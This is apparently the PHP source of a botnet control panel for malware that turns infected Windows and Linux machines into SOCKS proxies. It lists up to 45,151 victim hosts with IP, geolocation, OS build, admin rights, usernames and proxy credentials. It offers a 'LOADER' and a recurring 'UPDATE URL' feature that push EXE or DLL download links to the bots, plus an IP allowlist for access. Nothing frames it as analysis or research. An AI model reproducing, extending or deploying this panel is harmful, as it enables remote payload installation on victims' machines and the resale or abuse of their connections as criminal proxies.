<?php

	 ini_set("memory_limit", "2G");
	 
	 error_reporting(0);
	 
	 set_time_limit(0);
	 
	 $password = 'adm443';
	 
	 if (!(@$_POST['pass'] == $password) && !(@$_COOKIE['pass'] == $password) && !(@$_GET['pass'] == $password)) die('<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value=">>"></form></pre>');

	 if ($_POST['pass'] == $password) setcookie('pass', $password, 0);
	 
	 if (isset($_GET['rawdata'])) header("Content-Type: text/plain");
	 
	 $socket[++$sock] = @fsockopen('127.0.0.1', 4000, $errno, $errstr, 10);
	 
	 if (!$socket[$sock]) die ('Error! '.(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'server.exe' : 'server.out').' not running');
	 
	 if (isset($_GET['del']) && isset($_GET['q']))
	 {
		 $id = sprintf("%04x", (int)$_GET['q']); $fw = '';

		 for ($i = 2; $i >= 0; $i -= 2) $fw .= chr(hexdec($id[$i + 0].$id[$i + 1]));
		 
		 fwrite($socket[$sock], $fw."\x00");
		 
		 fread($socket[$sock], 1024);
		 
		 header('Location: '.basename(__FILE__).'?'.preg_replace("/del&q=[0-9]+&?/i", '', $_SERVER['QUERY_STRING']));
		 
		 exit;
	 }
	 
	 if (isset($_POST['id']) && isset($_POST['state']) && $_POST['id'] >= 0 && $_POST['id'] < 45151)
	 {
		 $id = sprintf("%08x", (int)$_POST['id']); $fw = '';

		 for ($i = 6; $i >= 0; $i -= 2) $fw .= chr(hexdec($id[$i + 0].$id[$i + 1]));
		 
		 $fw .= chr((int)$_POST['state']);
		 
		 fwrite($socket[$sock], $fw);
		 
		 while(!feof($socket[$sock])) echo fread($socket[$sock], 1024);
		 
		 // fclose($socket[$sock]);
		 
		 exit;
	 }
	 
	 if (isset($_POST['comment']))
	 {
		 
		 fwrite($socket[$sock], "\x06\x00");
		 
		 while(!feof($socket[$sock])) $comment .= fread($socket[$sock], 1024);
		 
		 // fclose($socket[$sock]);
		 
		 if (strlen($comment) != 0)
		 {
			 $array = c2array($comment);
		 }
		 
		 $array[$_GET['comment']] = $_POST['comment'];
		 
		 $out = '.comment'."\n\n";
		 
		 foreach($array as $ip=>$c) $out .= $ip."\t".base64_encode($c)."\n";
		 
		 $socket[++$sock] = @fsockopen('127.0.0.1', 4000, $errno, $errstr, 10);
		 
		 fwrite($socket[$sock], $out);
		 
		 // fclose($socket[$sock]);
		 
		 $o = '?';
		 
		 foreach($_GET as $n=>$v) $o .= ($n == 'comment' ? '' : $n.'='.$v.'&');
		 
		 header('Location: '.$o);
		 
		 fread($socket[$sock], 1);
		 
		 exit;
	 }
	 
	 function secondsToTime($seconds)
	 {
		 // extract hours
		 $hours = sprintf("%02s", floor($seconds / (60 * 60)));

		 // extract minutes
		 $divisor_for_minutes = $seconds % (60 * 60);
		 $minutes = sprintf("%02s", floor($divisor_for_minutes / 60));

		 // extract the remaining seconds
		 $divisor_for_seconds = $divisor_for_minutes % 60;
		 $seconds = sprintf("%02s", ceil($divisor_for_seconds));

		 // return the final array
		 $obj = array
		 (
			 "h" => $hours,
			 "m" => $minutes,
			 "s" => $seconds,
		 );

		 return $obj;
	 }
	 
	 $infoArray = array(
	 
			"\x00" => '',
			"\x01" => ' <b>Tor</b>');
	 
	 $osarray = array(
	 
			2031 => 'Windows 2000 (Beta 3)',
			2128 => 'Windows 2000 (Beta 3 RC2)',
			2183 => 'Windows 2000 (Beta 3)',
			2195 => 'Windows 2000',
			2250 => 'Whistler Server Preview',
			2257 => 'Whistler Server alpha',
			2267 => 'Whistler Server interim release',
			2410 => 'Whistler Server interim release',
			2505 => 'Windows XP (RC 1)',
			2600 => 'Windows XP',
			1105 => 'Windows XP, Service Pack 1',
			1106 => 'Windows XP, Service Pack 1',
			2180 => 'Windows XP, Service Pack 2',
			3541 => 'Windows .NET Server interim',
			3590 => 'Windows .NET Server Beta 3',
			3660 => 'Windows .NET Server Release Candidate 1 (RC1)',
			3718 => 'Windows .NET Server 2003 RC2',
			3763 => 'Windows Server 2003 (Beta?)',
			3790 => 'Windows Server 2003',
			1180 => 'Windows Server 2003, Service Pack 1',
			1218 => 'Windows Server 2003',
			5048 => 'Windows Longhorn',
			5112 => 'Windows Vista, Beta 1',
			5219 => 'Windows Vista, Community Technology Preview (CTP)',
			5259 => 'Windows Vista, TAP Preview',
			5270 => 'Windows Vista, CTP (Dezember)',
			5308 => 'Windows Vista, CTP (Februar)',
			5342 => 'Windows Vista, CTP (Refresh)',
			5365 => 'Windows Vista, April EWD',
			5381 => 'Windows Vista, Beta 2 Previw',
			5384 => 'Windows Vista, Beta 2',
			5456 => 'Windows Vista, Pre-RC1',
			5472 => 'Windows Vista, Pre-RC1, Build 5472',
			5536 => 'Windows Vista, Pre-RC1, Build 5536',
			16384 => 'Windows Vista, RC1',
			5700 => 'Windows Vista, Pre-RC2',
			5728 => 'Windows Vista, Pre-RC2, Build 5728',
			5808 => 'Windows Vista, Pre-RTM, Build 5808',
			5824 => 'Windows Vista, Pre-RTM, Build 5824',
			5840 => 'Windows Vista, Pre-RTM, Build 5840',
			16386 => 'Windows Vista, RTM (Release to Manufacturing)',
			6000 => 'Windows Vista',
			6002 => 'Windows Vista, Service Pack 2',
			6001 => 'Windows Server 2008',
			16385 => 'Windows 7, RTM (Release to Manufacturing)',
			7600 => 'Windows 7',
			7601 => 'Windows 7, Service Pack 1',
			8400 => 'Windows Home Server 2011',
			9200 => 'Windows Server 2012',
			10211 => 'Windows Phone 8',
			9600 => 'Windows 10, Update 1',
			10240 => 'Windows 10 (1507)',
			10586 => 'Windows 10 (1511)',
			14393 => 'Windows 10 (1607)',
			15063 => 'Windows 10 (1703)',
			16299 => 'Windows 10 (1709)',
			17134 => 'Windows 10 (1803)',
			17763 => 'Windows 10 (1809)',
			65535 => 'Linux');
	 
	 require 'geoip/geoip2.phar';
	 
	 use GeoIp2\Database\Reader;
	 
	 if (!isset($_GET['rawdata'])) {

?><!DOCTYPE HTML>
<html>
 <head>
  <meta charset="utf-8">
 </head>
 <body>
  
<script type="text/javascript">

 /**
 * IE 5.5+, Firefox, Opera, Chrome, Safari XHR object
 * 
 * @param string url
 * @param object callback
 * @param mixed data
 * @param null x
 */
 
function ajax(data, x, elem, set) {
	
	 x = new(this.XMLHttpRequest || ActiveXObject)('MSXML2.XMLHTTP.3.0');
	 x.open('POST', '<?php echo basename(__FILE__); ?>', 1);
	 x.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
	 x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	 
	 x.onreadystatechange = function ()
	 {
        if(x.status === 200)
		{
            if (set == 0 || set == 1)
			{
				 document.getElementById('elem' + (elem + 0)).style.color = 'black';
				 document.getElementById('elem' + (elem + 1)).style.color = 'red';
				 document.getElementById('elem' + (elem + 2)).style.display = 'none';
			}
	 
			else
	 
			{
				 document.getElementById('elem' + (elem + 0)).style.color = 'green';
				 document.getElementById('elem' + (elem + 1)).style.color = 'black';
				 document.getElementById('elem' + (elem + 2)).style.display = 'inline-block';
				 
				 document.getElementById('elem' + (elem + 2)).innerHTML = 'user/password ' + x.responseText;
			};
		};
	 };
	 
	 x.send(data);
};

</script>
 
 
 <style type="text/css">
 
	 select { width: 200px; }

	 html *
	 {
		 font-family: Arial, sans-serif;
		 font-size: 12px;
	 }
	 
	 td { padding: 0px 20px 0px 0px; }
	 
	 .socks tr:hover { background: #d5e6a2; /* Цвет фона */ }
	 
	 .funcDLL{
		 display: none;
	 }
	 
	 input[type="radio"].dll:checked + .funcDLL{
		 display: block;
	 }
	 
 </style>
 
<?php

	 }
	 
	 function c2array($comment)
	 {
		 $ret = array();
		 
		 for ($i = 0; $i < strlen($comment); $i++)
		 {
			 $line .= $comment[$i];
			 
			 if ($comment[$i] == "\n")
			 {
				 if (strstr($line, "\t"))
				 {
					 $line = explode("\t", $line);
					 
					 $ret[$line[0]] = base64_decode($line[1]);
				 }
				 
				 $line = '';
			 }
			 
		 }
		 
		 return $ret;
		 
	 }
	 
	 //if (!function_exists('curl_version')) die('Error: Curl not installed'."\n");
	 //if (!extension_loaded('openssl')) die('Error: Openssl not installed'."\n");
	 
	 if (isset($_GET['comment']) && !isset($_POST['comment']))
	 {
		 $_GET['comment'] = htmlspecialchars($_GET['comment'], ENT_QUOTES);
		 
		 echo '<form action="?'.$_SERVER['QUERY_STRING'].'" method="post">
		 <p><b>Enter comment for '.$_GET['comment'].':</b></p>
		 <p><textarea rows="2" cols="50" name="comment">';
		 
		 fwrite($socket[$sock], "\x06\x00");
		 
		 while(!feof($socket[$sock])) $comment .= fread($socket[$sock], 1024);
		 
		 // fclose($socket[$sock]);
		 
		 if (strlen($comment) != 0)
		 {
			 $array = c2array($comment);
			 
			 echo $array[$_GET['comment']];
		 }
		 
		 echo '</textarea></p>
		 <p><input type="submit" value="Submit"></p>
		 </form>';
		 
		 exit;
	 }
	 
	 if (isset($_GET['settings']) && isset($_GET['view']))
	 {
		 echo '<table width="100%"><thead><tr><th align="right" valign="top"><a href="?settings">Back</a></th></tr></thead></table>'."\n";
		 
		 fwrite($socket[$sock], "\x09\x00");
		 
		 $r = fread($socket[$sock], 1024);
		 
		 // fclose($socket[$sock]);
		 
		 if (strlen($r) > 0)
		 {
			 $c = 4;
			 
			 for (; $c < strlen($r); $c++) if ($r[$c] == "\x00") break;
			 
			 $socket[++$sock] = @fsockopen('127.0.0.1', 4000, $errno, $errstr, 10);
		 
			 fwrite($socket[$sock], "\x08\x00");
		  
			 while(!feof($socket[$sock]))
			 {
				 $s .= fread($socket[$sock], 1024);
			 }
			 
			 if (strlen($s) == 45151 * 4 * 30) $linux = true;
		  
			 for ($i = 0; $i < 45151; $i++)
			 {
				 $ip = ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 12 : 8) + 0]).'.'.ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 12 : 8) + 1]).'.'.ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 12 : 8) + 2]).'.'.ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 12 : 8) + 3]);
				 $data = $s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 40 : 36) + 0].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 40 : 36) + 1].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 40 : 36) + 2].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 40 : 36) + 3];

				 if ($ip != '0.0.0.0' && ($data & "\xFF\xFF\xFF\x7F") == $r[0].$r[1].$r[2].$r[3])
				 {
					 echo $ip.' '.(($data[3] & "\x80") == "\x80" ? 'submited. wait responce...' : '').($data == $r[0].$r[1].$r[2].$r[3] ? '<font color="green">downloaded</font> '.substr($r, 4, ($c - 4)) : '').'</br>'."\n";
				 }
			 }
		 }
	 }
	 
	 elseif (isset($_GET['settings']))
	 
	 {
		 fwrite($socket[$sock], "\x00\x00\x00\00\xFF");
		 
		 $state = fread($socket[$sock], 1);
		 
		 // fclose($socket[$sock]);
	 
		 echo '<table width="100%"><thead><tr><th align="right" valign="top"><a href="?">Back</a></th></tr></thead></table>'."\n";
		 
		 echo 'AUTH <a href="#" onclick="ajax(\'pass='.($_COOKIE['pass'] ? $_COOKIE['pass'] : $_POST['pass']).'&id=0&state=8\', null, 0, 8);" ><font id="elem0" color="'.($state != "\x00" ? 'green' : 'black').'">ON</font></a>/<a href="#" onclick="ajax(\'pass='.($_COOKIE['pass'] ? $_COOKIE['pass'] : $_POST['pass']).'&id=0&state=1\', null, 0, 1);" ><font id="elem1" color="'.($state != "\x00" ? 'black' : 'red').'">OFF</font></a>';
		 
		 echo '<p><form action="?settings" method="post">UPDATE URL: <input type="text" size="60" placeholder="http://yourserver/update.exe" name="url" value="" /> &nbsp;&nbsp; repeat every <input type="text" name="repeat" value="0" size=3 maxlength=3 /> hour(s) &nbsp;&nbsp; <input type="submit" value="Submit" /></form></p>';
		 
		 if (filter_var($_POST['url'], FILTER_SANITIZE_URL))
		 {
			 $_POST['url'] = trim($_POST['url']);
			 
			 $dump = parse_url($_POST['url']);
			 
			 if (strtolower($dump['scheme']) == 'https') echo '<b>Error! HTTPS not support</b>';
			 
			 else
				 
			 {
			 
				 $socket[++$sock] = @fsockopen('127.0.0.1', 4000, $errno, $errstr, 10);
			 
				 $repeat = sprintf("%08x", (int)$_POST['repeat']);
			 
				 fwrite($socket[$sock], $_POST['url']."\x00".chr(hexdec($repeat[6].$repeat[7])).chr(hexdec($repeat[4].$repeat[5])).chr(hexdec($repeat[2].$repeat[3])).chr(hexdec($repeat[0].$repeat[1])));
			 
				 // fclose($socket[$sock]);
			 
			 }
		 }
		 
		 if (isset($_GET['deleteTask']))
		 {
			 $socket[++$sock] = @fsockopen('127.0.0.1', 4000, $errno, $errstr, 10);
		 
			 fwrite($socket[$sock], "\x07\x00");
			 
			 // fclose($socket[$sock]);
		 }
		 
		 $socket[++$sock] = @fsockopen('127.0.0.1', 4000, $errno, $errstr, 10);
		 
		 fwrite($socket[$sock], "\x09\x00");
		 
		 $r = fread($socket[$sock], 1024);
		 
		 while($socket[$sock] && !feof($socket[$sock])) $r .= fread($socket[$sock], 1024);
		 
		 if (strlen($r) > 0)
		 {
			 $i = 4;
			 
			 for (; $i < strlen($r); $i++) if ($r[$i] == "\x00") break;
			 
			 $count = substr($r, 4 + ($i - 4) + 1, 4);
			 
			 $count = hexdec(bin2hex($count[3].$count[2].$count[1].$count[0]));
			 
			 $time = hexdec(bin2hex(substr($r, 4 + ($i - 4) + 1 + 4 + 3, 1).substr($r, 4 + ($i - 4) + 1 + 4 + 2, 1).substr($r, 4 + ($i - 4) + 1 + 4 + 1, 1).substr($r, 4 + ($i - 4) + 1 + 4 + 0, 1)));
			 
			 $next = secondsToTime(((time() - $time) < ($count * 3600)) ? (($count * 3600) - (time() - $time)) : (($count * 3600) - ((time() - $time) - (floor((time() - $time) / ($count * 3600)) * ($count * 3600)))));
			 
			 echo '<p><b>'.substr($r, 4, ($i - 4)).''.($count != 0 ? ', repeat every '.$count.' hour(s), next itteract after '.$next['h'].':'.$next['m'].':'.$next['s'] : '').' <a href="?settings&view">View log</a> <a href="?settings&deleteTask"><font color="red">delete</font></a></b></p>';
			 
		 }
	 }
	 
	 elseif ($_GET['loader'] && is_numeric($_GET['loader']))
	 
	 {
		 echo '<table width="100%"><thead><tr><th align="right" valign="top"><a href="?">Back</a></th></tr></thead></table>'."\n";
		 
		 echo '<p><b>Loader for '.$_GET['loader'].'</b></p>';

		 echo '
		
		<form action="?loader='.$_GET['loader'].'" method="post">
		
		<!--
		<input type="radio" name="type" value="exe" checked=true/>EXE</br>
		<input type="radio" name="type" class="dll" value="dll"/>DLL 
		<div class="funcDLL"><br/>function name <input type="text" autocomplete="off" size="20" name="funcDLL" value="" /></div><br/><br/>
		-->
		
		LOAD URL: <input type="text" size="60" placeholder="http://yourserver/update.exe" name="url" value="" /> &nbsp;&nbsp; <input type="submit" value="Submit" /></form></p>';
		 
		 if (filter_var($_POST['url'], FILTER_SANITIZE_URL))
		 {
			 $_POST['url'] = trim($_POST['url']);
			 
			 $dump = parse_url($_POST['url']);
			 
			 if (strtolower($dump['scheme']) == 'https' && strtolower(substr($dump['host'], -6, 6)) == '.onion') echo '<b>Error! onion with HTTPS not support</b>';
			 
			 else
				 
			 {
				 $n = sprintf("%08x", ((int)$_GET['loader'] - 4001));
			 
				 fwrite($socket[$sock], $_POST['url'].($_POST['funcDLL'] ? '#'.trim($_POST['funcDLL']) : '')."\x00".chr(hexdec($n[6].$n[7])).chr(hexdec($n[4].$n[5])).chr(hexdec($n[2].$n[3])).chr(hexdec($n[0].$n[1]))."\x00\x00\x00\x00"."\x00\x00\x00\x00".($_POST['type'] == 'exe' ? "\x01" : "\x02")."\x00");
			 
				 // fclose($socket[$sock]);
			 }
		 }
		 
		 $socket[++$sock] = @fsockopen('127.0.0.1', 4000, $errno, $errstr, 10);
		 
		 fwrite($socket[$sock], "\x0B\x00");
		 
		 while(!feof($socket[$sock])) $ldata .= fread($socket[$sock], 1024);
		 
		 if ($ldata)
		 {
			 foreach(preg_split("/((\r\n))/", $ldata) as $line)
			 {
				 for ($i = 0; $i < strlen($line); $i++)
				 {
					 if ($line[$i] == "\x00")
					 {
						 if (hexdec(bin2hex($line[$i + 4].$line[$i + 3].$line[$i + 2].$line[$i + 1])) == ((int)$_GET['loader'] - 4001))
						 {
							 echo '<b>';
							 
							 for($c = 0; $c < $i; $c++) echo $line[$c];
							 
							 echo '</b>';
						 
							 if ($line[$i + 14] == "\x01") echo ' Submitted. waiting responce...';
							 if ($line[$i + 14] == "\x02") echo ' <font color="green">downloaded</font>';
							 
							 echo '<br/>'."\n";
						 }
						 
						 break;
					 }
				 }
			 }
		 }
		 
	 }
	 
	 else if (isset($_GET['firewall']))
	 
	 {
		 echo '<table width="100%"><thead><tr><th align="right" valign="top"><a href="?">Back</a></th></tr></thead></table>'."\n";
		 
		 if (isset($_POST['ip']))
		 {
			 $array = explode("\n", $_POST['ip']);
		 	 
		 	 foreach($array as $s)
		 	 {
		 		 if (!$s) continue;
		 		 
		 		 $i++;
		 		 
		 		 $s = explode('.', $s);
		 		 if (count($s) != 4 || $i > 1000) die('Error');
		 		 
		 		 $ip .= chr($s[0]).chr($s[1]).chr($s[2]).chr($s[3]);
		 	 }
		 	 
		 	 for ($i = (int)strlen($ip); $i < 1000 * 4; $i++) $ip .= chr(0);
		 	 
		 	 fwrite($socket[$sock], $ip);
		 	 
		 	 echo '<b>Sucess!</b>';
		 }
		 
		  echo '<form action="" method="post">
		  <p><b>Enter allowed ip (1 line - 1 ip) no more than 1000 ip:</b></p>
		  <p><textarea rows="20" cols="45" name="ip">';
		 
		 if (!$ip)
		 {
			 fwrite($socket[$sock], "\x0A\x00");
			 $ip = fread($socket[$sock], 1000 * 4);
		 }
		 
		 for ($i = 0; $i < 1000; $i++)
		 {
			 $s = ord($ip[$i * 4]).'.'. ord($ip[($i * 4) + 1]).'.'. ord($ip[($i * 4) + 2]).'.'. ord($ip[($i * 4) + 3]);
			 if ($s != '0.0.0.0') echo $s."\n";
		 }
		 
		  echo '</textarea></p>
		  <p><input type="submit" value="Submit"></p>
		  </form>';
	 }
	 
	 else
	 
	 {
		 $gi = new Reader('geoip/GeoLite2-City.mmdb');
		 
		 if ($socket[$sock])
		 {
		 	 fwrite($socket[$sock], "\x08\x00");
		 	 
		 	 while(!feof($socket[$sock]))
		 	 {
		 		 $s .= fread($socket[$sock], 1024);
		 	 }
			 
			 if (strlen($s) == 45151 * 4 * 30) $linux = true;
			 
			 if ((strlen($s) == 45151 * 4 * 11) || (strlen($s) == 45151 * 4 * 10)) die('need update '.(strlen($s) == 45151 * 4 * 10 ? 'server.exe' : 'server.out'));
			 if ((strlen($s) == 45151 * 4 * 20) || (strlen($s) == 45151 * 4 * 19)) die('need update '.(strlen($s) == 45151 * 4 * 19 ? 'server.exe' : 'server.out'));
			 
			 for ($i = 0; $i < 45151; $i++)
		 	 {
		 		 if (!$linux) $x = $s[$i * 29 * 4 + 0].$s[$i * 29 * 4 + 1].$s[$i * 29 * 4 + 2].$s[$i * 29 * 4 + 3];
				 if ($linux) $x = $s[$i * 30 * 4 + 0].$s[$i * 30 * 4 + 1].$s[$i * 30 * 4 + 2].$s[$i * 30 * 4 + 3].$s[$i * 30 * 4 + 4].$s[$i * 30 * 4 + 5].$s[$i * 30 * 4 + 6].$s[$i * 30 * 4 + 7];
		 		 
		 		 $t = $s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 36 : 32) + 3].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 36 : 32) + 2].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 36 : 32) + 1].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 36 : 32) + 0];
				 
				 if ($t != "\x00\x00\x00\x00")
		 		 {
					 $IsOFFLINE = (($x[0].$x[1].$x[2].$x[3] != "\x00\x00\x00\x00" && $x[1].$x[2].$x[3] != "\xFF\xFF\xFF" && (!$linux || $x[0].$x[1].$x[2].$x[3].$x[4].$x[5].$x[6].$x[7] != "\x00\x00\x00\x00\x00\x00\x00\x00")) ? ($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 112 : 108)] == "\x00" ? 0 : 1) : 1);
					 
					 $offline += $IsOFFLINE;
					 
					 $online += ($IsOFFLINE ? 0 : 1);
					 
					 $info = substr($s, $i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 52 : 48), 50);
					 
					 $os	= hexdec(bin2hex($info[1].$info[0]));
					 $wow64 = $info[3];
					 $additional = substr($s, $i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 116 : 112) + 3, 1);
					 
					 $additional = ($additional == "\x00" ? ($info[2] != "\x02" ? $info[2] : "\x00") : $additional);
					 
					 $user  = substr($info, 4, (strpos(substr($info, 4), "\x00") ? strpos(substr($info, 4), "\x00") : 46));
					 
					 $info = array();
					 
					 $isAdm = substr($s, $i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 52 : 48) + 2, 1);
					 
					 $info[12] = ($osarray[$os] ? $osarray[$os] : ($os == 0 ? '' : 'build #'.$os)).($wow64 == "\x00" ? '' : ' x64').$infoArray[$additional].' '.($isAdm == "\x02" ? '<b>Admin rights</b>' : '');
					 $info[13] = ($user[0] != "\x00" ? htmlspecialchars($user) : '');

					 $ip = ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 12 : 8) + 0]).'.'.ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 12 : 8) + 1]).'.'.ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 12 : 8) + 2]).'.'.ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 12 : 8) + 3]);
					 
					 $l = hexdec(bin2hex($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 44 : 40) + 3].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 44 : 40) + 2].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 44 : 40) + 1].$s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 44 : 40) + 0]));
					 
					 //echo bin2hex($x[0].$x[1].$x[2].$x[3].$x[4].$x[5].$x[6].$x[7]).' '.$l.' '.hexdec(bin2hex($t)).' '.($i + 4001)."\n";
					 
					 $t = secondsToTime(($IsOFFLINE ? ($l == 0 || $l < hexdec(bin2hex($t)) ? hexdec(bin2hex($t)) : $l) : time()) - hexdec(bin2hex($t)));
					 
					 $user = '';
					 $pass = '';
					 
					 for ($u = 1; $u <= 7; $u++) $user .= $s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 16 : 12) + $u];
					 for ($p = 1; $p <= ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 24 : 20)]); $p++) $pass .= $s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 24 : 20) + $p];
					 
					 $record = '';
					 
					 if (!$IsOFFLINE || $_GET['offline'])
					 {
						 try
						 {
							 $record = $gi->city($ip);
						 }
						 
						 catch (\Exception $e) {  }
					 }
						 
					 $out[] = array($i + 4001, $ip, $t, $record->country->name, $record->mostSpecificSubdivision->name, $record->city->name, $record->postal->code, ((!$_GET['country'] || $record->country->name == $_GET['country']) && (!$_GET['region'] || $record->mostSpecificSubdivision->name == $_GET['region']) && (!$_GET['city'] || $record->city->name == $_GET['city']) && (!$_GET['zip'] || $record->postal->code == $_GET['zip'])) ? true : false, $user, $pass, ord($s[$i * ($linux ? 30 * 4 : 29 * 4) + ($linux ? 16 : 12)]), $IsOFFLINE, $info[12], $info[13]);
					 
		 		 }
		 	 }
		 }
		 
		 if (!isset($_GET['rawdata']))
		 {
			 
?>

<table width="100%">
 <thead>
  <tr>
  
   <th align="left" valign="top">
   
   <?php
	 
	 if ((int)$_GET['offline'] == 0) {
	 
   ?>
   
   <a href="?pass=<?php echo ($_COOKIE['pass'] ? $_COOKIE['pass'] : $_POST['pass']); ?>&rawdata<?php echo ($_SERVER['QUERY_STRING'] ? '&'.$_SERVER['QUERY_STRING'] : ''); ?>">RAW DATA</a>
   
   <?php } ?>
   
   </th>
   <th align="right" valign="top">
   <a href="?settings">Settings</a> <a href="?firewall">Firewall</a>
   
   </th>
  </tr>
 </thead>
</table>


<table width="280px">
 <thead>
  <tr>

<th align="right">
   
    <form action="" method="GET">

    <input type="hidden" name="offline" value="<?php echo (int)$_GET['offline']; ?>" />
  
    <p>Country:
     <select size="1" onchange="this.form.submit()" name="country">
     <option value=""></option>
	
<?php

	 $show = (($_GET['country'] || $_GET['region'] || $_GET['city'] || $_GET['zip']) ? false : true);
	 
	 $otput = array();
	 
	 $cc = array();
	 
	 foreach($out as $record) if ((int)$_GET['offline'] == (int)$record[11]) $cc[$record[3]]++;
	 
	 foreach($out as $record)
	 {
		 if ($record[3] && !in_array($record[3], $otput) && (int)$_GET['offline'] == (int)$record[11])
		 {
			 echo '     <option '.($record[3] == $_GET['country'] ? 'selected' : '').' value="'.$record[3].'">'.$record[3].' ('.$cc[$record[3]].')</option>'."\n";
			 $otput[] = $record[3];
		 }
	 }
	 
?>
    </select>
   </p>
  
   <p>Region:
    <select size="1" onchange="this.form.submit()" name="region">
     <option value=""></option>
	
<?php
	 
	 $otput = array();
	 
	 $cc = array();
	 
	 foreach($out as $record) if ((int)$_GET['offline'] == (int)$record[11]) $cc[$record[4]]++;
	 
	 foreach($out as $record)
	 {
		 if ($record[4] && !in_array($record[4], $otput) && ($show || (!$show && $record[7]) || (!$show && $_GET['country'] == $record[3])) && (int)$_GET['offline'] == (int)$record[11])
		 {
			 echo '     <option '.($record[4] == $_GET['region'] ? 'selected' : '').' value="'.$record[4].'">'.$record[4].' ('.$cc[$record[4]].')</option>'."\n";
			 $otput[] = $record[4];
		 }
	 }

?>
    </select>
   </p>
 
   <p>City:
    <select size="1" onchange="this.form.submit()" name="city">
     <option value=""></option>
	 
<?php
	 
	 $otput = array();
	 
	 $cc = array();
	 
	 foreach($out as $record) if ((int)$_GET['offline'] == (int)$record[11]) $cc[$record[5]]++;
	 
	 foreach($out as $record)
	 {
		 if ($record[5] && !in_array($record[5], $otput) && ($show || (!$show && $record[7]) || (!$show && $_GET['region'] == $record[4])) && (int)$_GET['offline'] == (int)$record[11])
		 {
			 echo '     <option '.($record[5] == $_GET['city'] ? 'selected' : '').' value="'.$record[5].'">'.$record[5].' ('.$cc[$record[5]].')</option>'."\n";
			 $otput[] = $record[5];
		 }
	 }

?>
    </select>
   </p>
   
   </form>
   </th>

  </tr>
 </thead>
</table>

<?php

		 }
	 
	 $output = ''; $i = 0;
	 
	 $socket[++$sock] = @fsockopen('127.0.0.1', 4000, $errno, $errstr, 10);
	 
	 fwrite($socket[$sock], "\x06\x00");
	
	 while(!feof($socket[$sock])) $comment .= fread($socket[$sock], 1024);
	
	 if (strlen($comment) != 0)
	 {
		 $carray = c2array($comment);
	 }
	 
	 foreach($out as $record)
	 {
		 if ($record[7] && (int)$_GET['offline'] == (int)$record[11])
		 {
			 $i++;
			 
			 if (isset($_GET['rawdata'])) $output .= ($_SERVER['SERVER_ADDR'] ? $_SERVER['SERVER_ADDR'] : $_SERVER['LOCAL_ADDR']).':'.$record[0].($record[10] != 0 ? "\t".$record[8].'/'.$record[9] : '')."\n";
			 
			 else
			 
			 $output .= '<tr><td>'.($_SERVER['SERVER_ADDR'] ? $_SERVER['SERVER_ADDR'] : $_SERVER['LOCAL_ADDR']).':'.$record[0].'</td><td>'.$record[12].'</td><td>'.$record[13].'</td><td><b>'.$record[1]."</b>,".$record[3].",".$record[4].",".$record[5].",".$record[6].'</td><td>'.'<b>UPTIME:</b> '.$record[2]['h'].':'.$record[2]['m'].':'.$record[2]['s'].'</td><td>'.'AUTH <a href="#" onclick="ajax(\'pass='.($_COOKIE['pass'] ? $_COOKIE['pass'] : $_POST['pass']).'&id='.($record[0] - 4001).'&state=7\', null, '.($i * 3).', 7);return false;" ><font id="elem'.(($i * 3) + 0).'" color="'.($record[10] != 0 ? 'green' : 'black').'">ON</font></a>/<a href="#" onclick="ajax(\'pass='.($_COOKIE['pass'] ? $_COOKIE['pass'] : $_POST['pass']).'&id='.($record[0] - 4001).'&state=0\', null, '.($i * 3).', 0);return false;"><font id="elem'.(($i * 3) + 1).'" color="'.($record[10] != 0 ? 'black' : 'red').'">OFF</font></a> <div id="elem'.(($i * 3) + 2).'" style="display: '.($record[10] != 0 ? 'inline-block' : 'none').';">user/password '.$record[8].'/'.$record[9].'</div></td>  '.(!$_GET['offline'] ? '<td><div class="del"><a href="?del&q='.($record[0] - 4001).'&'.$_SERVER['QUERY_STRING'].'" onclick="return confirm(\'Are you sure to delete socks at '.$record[0].' port?\')"><font color="red">DELETE</font></a></div></td><td><a href="?loader='.$record[0].($_SERVER['QUERY_STRING'] ? '&'.$_SERVER['QUERY_STRING'] : '').'">LOADER</a></td>' : '').'<td>'.($carray[$record[1]] ? '<div><a href="?comment='.$record[1].($_SERVER['QUERY_STRING'] ? '&'.$_SERVER['QUERY_STRING'] : '').'">'.$carray[$record[1]].'</a>' : '<div class="comment"><a href="?comment='.$record[1].($_SERVER['QUERY_STRING'] ? '&'.$_SERVER['QUERY_STRING'] : '').'">Add comment</a></div>').'</td></tr>'."\n";
		 }
	 }
	 
